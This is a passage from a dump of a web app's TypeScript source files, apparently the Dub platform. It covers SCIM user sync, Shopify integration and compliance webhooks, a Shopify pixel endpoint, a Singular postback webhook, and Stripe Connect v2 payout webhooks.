handler as PUT };\n\n// Handle the SCIM events\nconst handleEvents = async (event: DirectorySyncEvent) => {\n  const { event: action, tenant: workspaceId, data } = event;\n\n  const workspace = (await prisma.project.findUnique({\n    where: {\n      id: workspaceId,\n    },\n  })) as unknown as WorkspaceProps;\n\n  if (!workspace || workspace.plan !== \"enterprise\" || !(\"email\" in data)) {\n    return;\n  }\n\n  const [userInWorkspace, userInvited] = await Promise.all([\n    prisma.user.findFirst({\n      where: {\n        email: data.email,\n        projects: {\n          some: {\n            projectId: workspaceId,\n          },\n        },\n      },\n    }),\n    await prisma.projectInvite.findUnique({\n      where: {\n        email_projectId: {\n          email: data.email,\n          projectId: workspaceId,\n        },\n      },\n    }),\n  ]);\n\n  // User has been activated for the first time\n  if (action === \"user.created\" && !userInWorkspace && !userInvited) {\n    await inviteUser({\n      email: data.email,\n      workspace,\n    });\n  }\n\n  // User has been activated\n  if (\n    action === \"user.updated\" &&\n    // @ts-ignore – data.active can be a string (from Azure AD)\n    (data.active === true || data.active === \"True\")\n  ) {\n    if (!userInWorkspace && !userInvited) {\n      await inviteUser({\n        email: data.email,\n        workspace,\n      });\n    }\n  }\n\n  // User has been deactivated or deleted\n  if (\n    (action === \"user.updated\" &&\n      // @ts-ignore – data.active can be a string (from Azure AD)\n      (data.active === false || data.active === \"False\")) ||\n    action === \"user.deleted\"\n  ) {\n    if (userInWorkspace) {\n      await prisma.projectUsers.delete({\n        where: {\n          userId_projectId: {\n            userId: userInWorkspace.id,\n            projectId: workspaceId,\n          },\n        },\n      });\n    }\n    if (userInvited) {\n      await prisma.projectInvite.delete({\n        where: {\n          email_projectId: {\n            email: data.email,\n            projectId: workspaceId,\n          },\n        },\n      });\n    }\n  }\n  return;\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/callback/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { installIntegration } from \"@/lib/integrations/install\";\nimport { prisma } from \"@dub/prisma\";\nimport { SHOPIFY_INTEGRATION_ID } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// PATCH /api/shopify/integration/callback – update a shopify store id\nexport const PATCH = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const body = await parseRequestBody(req);\n    const { shopifyStoreId } = z\n      .object({\n        shopifyStoreId: z.string().nullable(),\n      })\n      .parse(body);\n\n    try {\n      const response = await prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          shopifyStoreId,\n        },\n        select: {\n          shopifyStoreId: true,\n        },\n      });\n\n      waitUntil(\n        (async () => {\n          const installation = await prisma.installedIntegration.findUnique({\n            where: {\n              userId_integrationId_projectId: {\n                userId: session.user.id,\n                projectId: workspace.id,\n                integrationId: SHOPIFY_INTEGRATION_ID,\n              },\n            },\n            select: {\n              id: true,\n            },\n          });\n\n          // Install the integration if it doesn't exist\n          if (!installation) {\n            await installIntegration({\n              userId: session.user.id,\n              workspaceId: workspace.id,\n              integrationId: SHOPIFY_INTEGRATION_ID,\n              credentials: {\n                shopifyStoreId,\n              },\n            });\n          }\n\n          // Uninstall the integration if the shopify store id is null\n          if (installation && shopifyStoreId === null) {\n            await prisma.installedIntegration.delete({\n              where: {\n                id: installation.id,\n              },\n            });\n          }\n        })(),\n      );\n\n      return NextResponse.json(response);\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `The shopify store \"${shopifyStoreId}\" is already in use.`,\n        });\n      }\n\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredRoles: [\"owner\", \"member\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/webhook/app-uninstalled.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nexport async function appUninstalled({ shopDomain }: { shopDomain: string }) {\n  await prisma.project.update({\n    where: {\n      shopifyStoreId: shopDomain,\n    },\n    data: {\n      shopifyStoreId: null,\n    },\n  });\n\n  return \"[Shopify] App Uninstalled received.\";\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/webhook/customers-data-request.ts",
    "content": "import { createPlainThread } from \"@/lib/plain/create-plain-thread\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  shop_domain: z.string(),\n  orders_requested: z.array(z.number()),\n  customer: z.object({\n    id: z.number(),\n  }),\n});\n\nexport async function customersDataRequest({\n  event,\n  workspaceId,\n}: {\n  event: any;\n  workspaceId: string;\n}) {\n  const {\n    customer: { id: customerExternalId },\n    shop_domain: shopDomain,\n    orders_requested: ordersRequested,\n  } = schema.parse(event);\n\n  const [{ user }, customer] = await Promise.all([\n    prisma.projectUsers.findFirstOrThrow({\n      where: {\n        projectId: workspaceId,\n        role: \"owner\",\n      },\n      select: {\n        user: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n          },\n        },\n      },\n    }),\n    prisma.customer.findUnique({\n      where: {\n        projectId_externalId: {\n          projectId: workspaceId,\n          externalId: customerExternalId.toString(),\n        },\n      },\n    }),\n  ]);\n\n  const rows = [\n    {\n      text: \"Shop domain\",\n      value: shopDomain,\n    },\n    {\n      text: \"Customer ID\",\n      value: customerExternalId.toString(),\n    },\n    {\n      text: \"Customer name\",\n      value: customer?.name ?? \"N/A\",\n    },\n    {\n      text: \"Customer email\",\n      value: customer?.email ?? \"N/A\",\n    },\n    ...(ordersRequested.length > 0\n      ? [{ text: \"Orders requested\", value: ordersRequested.join(\", \") }]\n      : []),\n  ];\n\n  waitUntil(\n    createPlainThread({\n      user: {\n        id: user.id,\n        name: user.name ?? \"\",\n        email: user.email ?? \"\",\n      },\n      title: `Shopify - Customer data request received for ${shopDomain}`,\n      components: rows.map((row) => ({\n        componentRow: {\n          rowMainContent: [{ componentText: { text: row.text } }],\n          rowAsideContent: [{ componentText: { text: row.value } }],\n        },\n      })),\n    }),\n  );\n\n  return \"[Shopify] Customer Data Request received.\";\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/webhook/customers-redact.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { createPlainThread } from \"@/lib/plain/create-plain-thread\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  shop_domain: z.string(),\n  orders_to_redact: z.array(z.number()),\n  customer: z.object({\n    id: z.number(),\n  }),\n});\n\nexport async function customersRedact({\n  event,\n  workspaceId,\n}: {\n  event: any;\n  workspaceId: string;\n}) {\n  const {\n    customer,\n    shop_domain: shopDomain,\n    orders_to_redact: ordersToRedact,\n  } = schema.parse(event);\n\n  const customerExternalId = customer.id.toString();\n\n  // Redact the customer's data\n  try {\n    await prisma.customer.update({\n      where: {\n        projectId_externalId: {\n          projectId: workspaceId,\n          externalId: customerExternalId,\n        },\n      },\n      data: {\n        name: generateRandomName(),\n        email: null,\n      },\n    });\n  } catch (error) {\n    return `[Shopify] Failed to redact customer data. Reason: ${error.message}`;\n  }\n\n  const { user } = await prisma.projectUsers.findFirstOrThrow({\n    where: {\n      projectId: workspaceId,\n      role: \"owner\",\n    },\n    select: {\n      user: {\n        select: {\n          id: true,\n          name: true,\n          email: true,\n        },\n      },\n    },\n  });\n\n  const rows = [\n    { text: \"Shop domain\", value: shopDomain },\n    { text: \"Customer ID\", value: customerExternalId },\n    ...(ordersToRedact.length > 0\n      ? [{ text: \"Orders to redact\", value: ordersToRedact.join(\", \") }]\n      : []),\n  ];\n\n  waitUntil(\n    createPlainThread({\n      user: {\n        id: user.id,\n        name: user.name ?? \"\",\n        email: user.email ?? \"\",\n      },\n      title: `Shopify - Customer Redacted request received for ${shopDomain}`,\n      components: rows.map((row) => ({\n        componentRow: {\n          rowMainContent: [{ componentText: { text: row.text } }],\n          rowAsideContent: [{ componentText: { text: row.value } }],\n        },\n      })),\n    }),\n  );\n\n  return \"[Shopify] Customer Redacted request received.\";\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/webhook/orders-paid.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { processOrder } from \"@/lib/integrations/shopify/process-order\";\nimport { orderSchema } from \"@/lib/integrations/shopify/schema\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\n\nexport async function ordersPaid({\n  event,\n  workspaceId,\n}: {\n  event: any;\n  workspaceId: string;\n}) {\n  const { customer: orderCustomer, checkout_token: checkoutToken } =\n    orderSchema.parse(event);\n\n  if (orderCustomer) {\n    const { id: externalId } = orderCustomer;\n\n    const customer = await prisma.customer.findUnique({\n      where: {\n        projectId_externalId: {\n          projectId: workspaceId,\n          externalId: externalId.toString(),\n        },\n      },\n    });\n\n    // customer is found, process the order right away\n    if (customer) {\n      await processOrder({\n        event,\n        workspaceId,\n        customerId: customer.id,\n      });\n\n      return \"[Shopify] Order event processed successfully.\";\n    }\n  }\n\n  // Check the cache to see the pixel event for this checkout token exist before publishing the event to the queue\n  const clickId = await redis.hget<string>(\n    `shopify:checkout:${checkoutToken}`,\n    \"clickId\",\n  );\n\n  // clickId is empty, order is not from a Dub link\n  if (clickId === \"\") {\n    await redis.del(`shopify:checkout:${checkoutToken}`);\n\n    return \"[Shopify] Order is not from a Dub link. Skipping...\";\n  }\n\n  // clickId is found, process the order for the new customer\n  else if (clickId) {\n    await processOrder({\n      event,\n      workspaceId,\n      clickId,\n    });\n\n    return \"[Shopify] Order event processed successfully.\";\n  }\n\n  // clickId is not found, we need to wait for the pixel event to come in so that we can decide if the order is from a Dub link or not\n  else {\n    await redis.hset(`shopify:checkout:${checkoutToken}`, {\n      order: event,\n    });\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/shopify/order-paid`,\n      body: {\n        checkoutToken,\n        workspaceId,\n      },\n      retries: 5,\n      delay: 3,\n    });\n\n    return \"[Shopify] clickId not found, waiting for pixel event to arrive...\";\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/webhook/route.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport crypto from \"crypto\";\nimport { appUninstalled } from \"./app-uninstalled\";\nimport { customersDataRequest } from \"./customers-data-request\";\nimport { customersRedact } from \"./customers-redact\";\nimport { ordersPaid } from \"./orders-paid\";\nimport { shopRedact } from \"./shop-redact\";\n\nconst relevantTopics = new Set([\n  \"orders/paid\",\n\n  // Mandatory compliance webhooks\n  \"app/uninstalled\",\n  \"customers/data_request\",\n  \"customers/redact\",\n  \"shop/redact\",\n]);\n\n// POST /api/shopify/integration/webhook – Listen to Shopify webhook events\nexport const POST = async (req: Request) => {\n  const data = await req.text();\n  const headers = req.headers;\n  const topic = headers.get(\"x-shopify-topic\") || \"\";\n  const signature = headers.get(\"x-shopify-hmac-sha256\") || \"\";\n\n  // Verify signature\n  const generatedSignature = crypto\n    .createHmac(\"sha256\", `${process.env.SHOPIFY_WEBHOOK_SECRET}`)\n    .update(data, \"utf8\")\n    .digest(\"base64\");\n\n  if (generatedSignature !== signature) {\n    return new Response(`[Shopify] Invalid webhook signature. Skipping...`, {\n      status: 401,\n    });\n  }\n\n  // Check if topic is relevant\n  if (!relevantTopics.has(topic)) {\n    return new Response(`[Shopify] Unsupported topic: ${topic}. Skipping...`);\n  }\n\n  const event = JSON.parse(data);\n  const shopDomain = headers.get(\"x-shopify-shop-domain\") || \"\";\n\n  // Find workspace\n  const workspace = await prisma.project.findUnique({\n    where: {\n      shopifyStoreId: shopDomain,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!workspace) {\n    return new Response(\n      `[Shopify] Workspace not found for shop: ${shopDomain}. Skipping...`,\n    );\n  }\n\n  let response = \"OK\";\n\n  try {\n    switch (topic) {\n      case \"orders/paid\":\n        response = await ordersPaid({\n          event,\n          workspaceId: workspace.id,\n        });\n        break;\n      case \"customers/data_request\":\n        response = await customersDataRequest({\n          event,\n          workspaceId: workspace.id,\n        });\n        break;\n      case \"customers/redact\":\n        response = await customersRedact({\n          event,\n          workspaceId: workspace.id,\n        });\n        break;\n      case \"shop/redact\":\n        response = await shopRedact({\n          event,\n          workspaceId: workspace.id,\n        });\n        break;\n      case \"app/uninstalled\":\n        response = await appUninstalled({\n          shopDomain,\n        });\n        break;\n    }\n  } catch (error) {\n    await log({\n      message: `Shopify webhook failed. Error: ${error.message}`,\n      type: \"errors\",\n    });\n\n    return new Response(`[Shopify] Webhook handler failed. View logs`);\n  }\n\n  return new Response(response);\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/integration/webhook/shop-redact.ts",
    "content": "import { createPlainThread } from \"@/lib/plain/create-plain-thread\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  shop_domain: z.string(),\n});\n\nexport async function shopRedact({\n  event,\n  workspaceId,\n}: {\n  event: any;\n  workspaceId: string;\n}) {\n  const { shop_domain: shopDomain } = schema.parse(event);\n\n  const { user } = await prisma.projectUsers.findFirstOrThrow({\n    where: {\n      projectId: workspaceId,\n      role: \"owner\",\n    },\n    select: {\n      user: {\n        select: {\n          id: true,\n          name: true,\n          email: true,\n        },\n      },\n    },\n  });\n\n  const rows = [{ text: \"Shop domain\", value: shopDomain }];\n\n  waitUntil(\n    createPlainThread({\n      user: {\n        id: user.id,\n        name: user.name ?? \"\",\n        email: user.email ?? \"\",\n      },\n      title: `Shopify - Shop Redacted request received for ${shopDomain}`,\n      components: rows.map((row) => ({\n        componentRow: {\n          rowMainContent: [{ componentText: { text: row.text } }],\n          rowAsideContent: [{ componentText: { text: row.value } }],\n        },\n      })),\n    }),\n  );\n\n  return \"[Shopify] Shop Redacted request received.\";\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/shopify/pixel/route.ts",
    "content": "import { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { getClickEvent } from \"@/lib/tinybird\";\nimport { ratelimit, redis } from \"@/lib/upstash\";\nimport { LOCALHOST_IP } from \"@dub/utils\";\nimport { ipAddress, waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\n// POST /api/shopify/pixel – Handle the Shopify Pixel events\nexport const POST = async (req: Request) => {\n  try {\n    let { clickId, checkoutToken } = await parseRequestBody(req);\n\n    if (!checkoutToken) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"checkoutToken is required.\",\n      });\n    }\n\n    // Rate limit the request\n    const ip = process.env.VERCEL === \"1\" ? ipAddress(req) : LOCALHOST_IP;\n    const { success } = await ratelimit().limit(`shopify-track-pixel:${ip}`);\n\n    if (!success) {\n      throw new DubApiError({\n        code: \"rate_limit_exceeded\",\n        message: \"Don't DDoS me pls 🥺\",\n      });\n    }\n\n    // Validate the clickId if provided\n    if (clickId) {\n      const clickEvent = await getClickEvent({ clickId });\n\n      if (!clickEvent) {\n        clickId = null;\n      }\n    }\n\n    waitUntil(\n      redis.hset(`shopify:checkout:${checkoutToken}`, {\n        clickId: clickId || \"\",\n      }),\n    );\n\n    return NextResponse.json(\"OK\", {\n      headers: COMMON_CORS_HEADERS,\n    });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error, COMMON_CORS_HEADERS);\n  }\n};\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/singular/webhook/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { trackSingularLeadEvent } from \"@/lib/integrations/singular/track-lead\";\nimport { trackSingularSaleEvent } from \"@/lib/integrations/singular/track-sale\";\nimport { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst singularToDubEvent = {\n  activated: \"lead\",\n  sng_complete_registration: \"lead\",\n  sng_subscribe: \"sale\",\n  sng_ecommerce_purchase: \"sale\",\n  __iap__: \"sale\", // In-app purchase\n  \"Copy GAID\": \"lead\", // Singular Device Assist\n  \"copy IDFA\": \"lead\", // Singular Device Assist\n};\n\nconst supportedEvents = Object.keys(singularToDubEvent);\n\nconst authSchema = z.object({\n  dub_token: z\n    .string()\n    .min(1, \"dub_token is required\")\n    .describe(\"Global token to identify Singular events.\"),\n  dub_workspace_id: z\n    .string()\n    .min(1, \"dub_workspace_id is required\")\n    .describe(\n      \"The Singular advertiser's workspace ID on Dub (see https://d.to/id).\",\n    )\n    .transform((v) => normalizeWorkspaceId(v)),\n});\n\nconst singularWebhookToken = process.env.SINGULAR_WEBHOOK_TOKEN;\n\n// GET /api/singular/webhook – listen to Postback events from Singular\nexport const GET = withAxiom(async (req) => {\n  try {\n    if (!singularWebhookToken) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"SINGULAR_WEBHOOK_TOKEN is not set in the environment variables.\",\n      });\n    }\n\n    const queryParams = getSearchParams(req.url);\n\n    const { dub_token: token, dub_workspace_id: workspaceId } =\n      authSchema.parse(queryParams);\n\n    if (token !== singularWebhookToken) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Invalid Singular webhook token. Skipping event processing.\",\n      });\n    }\n\n    const { event_name: eventName } = queryParams;\n\n    if (!eventName) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"event_name is required.\",\n      });\n    }\n\n    if (!supportedEvents.includes(eventName)) {\n      console.error(\n        `Event ${eventName} is not supported by Singular <> Dub integration.`,\n      );\n\n      return NextResponse.json(\"OK\");\n    }\n\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        id: true,\n        stripeConnectId: true,\n        webhookEnabled: true,\n      },\n    });\n\n    if (!workspace) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Workspace ${workspaceId} not found.`,\n      });\n    }\n\n    const dubEvent = singularToDubEvent[eventName];\n\n    delete queryParams.dub_token;\n    delete queryParams.dub_workspace_id;\n\n    if (dubEvent === \"lead\") {\n      await trackSingularLeadEvent({\n        queryParams,\n        workspace,\n      });\n    } else if (dubEvent === \"sale\") {\n      await trackSingularSaleEvent({\n        queryParams,\n        workspace,\n      });\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n});\n\nexport const HEAD = () => {\n  return new Response(\"OK\");\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/v2/webhook/outbound-payment-failed.ts",
    "content": "import { getStripeOutboundPayment } from \"@/lib/stripe/get-stripe-outbound-payment\";\nimport { OUTBOUND_PAYMENT_FAILURE_REASONS } from \"@/lib/stripe/stripe-v2-schemas\";\nimport { prisma } from \"@dub/prisma\";\nimport { pluralize } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nexport async function outboundPaymentFailed(event: Stripe.ThinEvent) {\n  const { related_object: relatedObject } = event;\n\n  if (!relatedObject) {\n    return \"No related object found in event, skipping...\";\n  }\n\n  const { id: outboundPaymentId } = relatedObject;\n\n  const outboundPayment = await getStripeOutboundPayment(outboundPaymentId);\n\n  const rawFailureReason = outboundPayment.status_details?.failed?.reason;\n  const failureReason = rawFailureReason\n    ? OUTBOUND_PAYMENT_FAILURE_REASONS[rawFailureReason]\n    : undefined;\n\n  const updatedPayouts = await prisma.payout.updateMany({\n    where: {\n      stripePayoutId: outboundPaymentId,\n    },\n    data: {\n      status: \"failed\",\n      failureReason,\n    },\n  });\n\n  // TODO:\n  // Send email notification\n\n  return `Updated ${updatedPayouts.count} ${pluralize(\"payout\", updatedPayouts.count)} to failed status.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/v2/webhook/outbound-payment-posted.ts",
    "content": "import { getStripeOutboundPayment } from \"@/lib/stripe/get-stripe-outbound-payment\";\nimport { prisma } from \"@dub/prisma\";\nimport { pluralize } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nexport async function outboundPaymentPosted(event: Stripe.ThinEvent) {\n  const { related_object: relatedObject } = event;\n\n  if (!relatedObject) {\n    return \"No related object found in event, skipping...\";\n  }\n\n  const { id: outboundPaymentId } = relatedObject;\n\n  const outboundPayment = await getStripeOutboundPayment(outboundPaymentId);\n\n  const stripePayoutTraceId = outboundPayment.trace_id?.value;\n\n  const updatedPayouts = await prisma.payout.updateMany({\n    where: {\n      stripePayoutId: outboundPaymentId,\n    },\n    data: {\n      status: \"completed\",\n      paidAt: new Date(),\n      failureReason: null,\n      ...(stripePayoutTraceId && {\n        stripePayoutTraceId: stripePayoutTraceId,\n      }),\n    },\n  });\n\n  // TODO:\n  // Send email notification\n\n  return `Updated ${updatedPayouts.count} ${pluralize(\"payout\", updatedPayouts.count)} to completed status.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/v2/webhook/outbound-payment-returned.ts",
    "content": "import { getStripeOutboundPayment } from \"@/lib/stripe/get-stripe-outbound-payment\";\nimport { OUTBOUND_PAYMENT_RETURNED_REASONS } from \"@/lib/stripe/stripe-v2-schemas\";\nimport { prisma } from \"@dub/prisma\";\nimport { pluralize } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nexport async function outboundPaymentReturned(event: Stripe.ThinEvent) {\n  const { related_object: relatedObject } = event;\n\n  if (!relatedObject) {\n    return \"No related object found in event, skipping...\";\n  }\n\n  const { id: outboundPaymentId } = relatedObject;\n\n  const outboundPayment = await getStripeOutboundPayment(outboundPaymentId);\n\n  const rawReturnedReason = outboundPayment.status_details?.returned?.reason;\n  const failureReason = rawReturnedReason\n    ? OUTBOUND_PAYMENT_RETURNED_REASONS[rawReturnedReason]\n    : undefined;\n\n  const updatedPayouts = await prisma.payout.updateMany({\n    where: {\n      stripePayoutId: outboundPaymentId,\n    },\n    data: {\n      status: \"failed\",\n      failureReason,\n    },\n  });\n\n  // TODO:\n  // Send email notification\n\n  return `Updated ${updatedPayouts.count} ${pluralize(\"payout\", updatedPayouts.count)} to failed status.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/v2/webhook/recipient-account-closed.ts",
    "content": "import { recomputePartnerPayoutState } from \"@/lib/payouts/recompute-partner-payout-state\";\n\nimport { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\n\nexport async function recipientAccountClosed(event: Stripe.ThinEvent) {\n  const { related_object: relatedObject } = event;\n\n  if (!relatedObject) {\n    return \"No related object found in event, skipping...\";\n  }\n\n  const { id: stripeRecipientId } = relatedObject;\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      stripeRecipientId,\n    },\n    select: {\n      id: true,\n      email: true,\n      stripeConnectId: true,\n      stripeRecipientId: true,\n      paypalEmail: true,\n      payoutsEnabledAt: true,\n      defaultPayoutMethod: true,\n    },\n  });\n\n  if (!partner) {\n    return `Partner with stripeRecipientId ${stripeRecipientId} not found, skipping...`;\n  }\n\n  const { payoutsEnabledAt, defaultPayoutMethod } =\n    await recomputePartnerPayoutState({\n      ...partner,\n      stripeRecipientId: null,\n    });\n\n  await prisma.partner.update({\n    where: {\n      id: partner.id,\n    },\n    data: {\n      stripeRecipientId: null,\n      payoutsEnabledAt,\n      defaultPayoutMethod,\n    },\n  });\n\n  return `Recipient account ${stripeRecipientId} closed, removed stripeRecipientId for partner ${partner.email} (${partner.id})`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/v2/webhook/recipient-configuration-updated.ts",
    "content": "import { detectDuplicatePayoutMethodFraud } from \"@/lib/api/fraud/detect-duplicate-payout-method-fraud\";\nimport { recomputePartnerPayoutState } from \"@/lib/payouts/recompute-partner-payout-state\";\nimport { sendEmail } from \"@dub/email\";\nimport ConnectedPayoutMethod from \"@dub/email/templates/connected-payout-method\";\nimport { prisma } from \"@dub/prisma\";\nimport Stripe from \"stripe\";\n\nexport async function recipientConfigurationUpdated(event: Stripe.ThinEvent) {\n  const { related_object: relatedObject } = event;\n\n  if (!relatedObject) {\n    return \"No related object found in event, skipping...\";\n  }\n\n  const { id: stripeRecipientId } = relatedObject;\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      stripeRecipientId,\n    },\n    select: {\n      id: true,\n      email: true,\n      stripeConnectId: true,\n      stripeRecipientId: true,\n      paypalEmail: true,\n      payoutsEnabledAt: true,\n      defaultPayoutMethod: true,\n      cryptoWalletAddress: true,\n    },\n  });\n\n  if (!partner) {\n    return `Partner with stripeRecipientId ${stripeRecipientId} not found, skipping...`;\n  }\n\n  const {\n    payoutsEnabledAt,\n    defaultPayoutMethod,\n    cryptoWalletAddress,\n    cryptoWalletNetwork,\n    maskedCryptoWalletAddress,\n  } = await recomputePartnerPayoutState(partner);\n\n  await prisma.partner.update({\n    where: {\n      id: partner.id,\n    },\n    data: {\n      payoutsEnabledAt,\n      defaultPayoutMethod,\n      cryptoWalletAddress,\n    },\n  });\n\n  if (\n    partner.email &&\n    cryptoWalletAddress &&\n    cryptoWalletAddress !== partner.cryptoWalletAddress\n  ) {\n    await sendEmail({\n      variant: \"notifications\",\n      subject: \"Successfully connected payout method\",\n      to: partner.email,\n      react: ConnectedPayoutMethod({\n        email: partner.email,\n        payoutMethod: {\n          type: \"stablecoin\",\n          wallet_address: maskedCryptoWalletAddress,\n          wallet_network: cryptoWalletNetwork,\n        },\n      }),\n    });\n  }\n\n  if (cryptoWalletAddress) {\n    await detectDuplicatePayoutMethodFraud({\n      cryptoWalletAddress: cryptoWalletAddress,\n    });\n  }\n\n  return `Updated partner ${partner.email} (${stripeRecipientId}) with payoutsEnabledAt ${payoutsEnabledAt ? \"set\" : \"cleared\"}, defaultPayoutMethod ${defaultPayoutMethod ?? \"cleared\"}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/v2/webhook/route.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport { log } from \"@dub/utils\";\nimport { logAndRespond } from \"app/(ee)/api/cron/utils\";\nimport Stripe from \"stripe\";\nimport { outboundPaymentFailed } from \"./outbound-payment-failed\";\nimport { outboundPaymentPosted } from \"./outbound-payment-posted\";\nimport { outboundPaymentReturned } from \"./outbound-payment-returned\";\nimport { recipientAccountClosed } from \"./recipient-account-closed\";\nimport { recipientConfigurationUpdated } from \"./recipient-configuration-updated\";\n\nconst relevantEvents = new Set([\n  \"v2.core.account.closed\",\n  \"v2.core.account[configuration.recipient].updated\",\n  \"v2.core.account[configuration.recipient].capability_status_updated\",\n  \"v2.money_management.outbound_payment.posted\",\n  \"v2.money_management.outbound_payment.returned\",\n  \"v2.money_management.outbound_payment.failed\",\n]);\n\nconst webhookSecret = process.env.STRIPE_CONNECT_V2_WEBHOOK_SECRET;\n\n// POST /api/stripe/connect/v2/webhook – Stripe Connect Account v2 webhooks\nexport const POST = async (req: Request) => {\n  const body = await req.text();\n  const signature = req.headers.get(\"Stripe-Signature\");\n\n  if (!signature) {\n    return logAndRespond(\"Missing Stripe-Signature header.\");\n  }\n\n  if (!webhookSecret) {\n    return logAndRespond(\n      \"STRIPE_CONNECT_V2_WEBHOOK_SECRET environment variable is not set.\",\n      {\n        status: 500,\n      },\n    );\n  }\n\n  let event: Stripe.ThinEvent;\n\n  try {\n    event = stripe.parseThinEvent(body, signature, webhookSecret);\n  } catch (error) {\n    const message = error instanceof Error ? error.message : String(error);\n\n    return logAndRespond(`[Webhook error]: ${message}`, {\n      status: 400,\n    });\n  }\n\n  if (!relevantEvents.has(event.type)) {\n    return logAndRespond(`Unsupported event ${event.type}, skipping...`);\n  }\n\n  let response = \"OK\";\n\n  try {\n    switch (event.type) {\n      case \"v2.core.account.closed\":\n        response = await recipientAccountClosed(event);\n        break;\n      case \"v2.core.account[configuration.recipient].updated\":\n      case \"v2.core.account[configuration.recipient].capability_status_updated\":\n        response = await recipientConfigurationUpdated(event);\n        break;\n      case \"v2.money_management.outbound_payment.posted\":\n        response = await outboundPaymentPosted(event);\n        break;\n      case \"v2.money_management.outbound_payment.returned\":\n        response = await outboundPaymentReturned(event);\n        break;\n      case \"v2.money_management.outbound_payment.failed\":\n        response = await outboundPaymentFailed(event);\n        break;\n    }\n  } catch (error) {\n    const message = error instanceof Error ? error.message : String(error);\n\n    await log({\n      message: `/api/stripe/connect/v2/webhook webhook failed (${event.type}). Error: ${message}`,\n      type: \"errors\",\n    });\n\n    return logAndRespond(`[Webhook error]: ${message}`, {\n      status: 400,\n    });\n  }\n\n  return logAndRespond(`[${event.type}]: ${response}`);\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/webhook/account-application-deauthorized.ts",
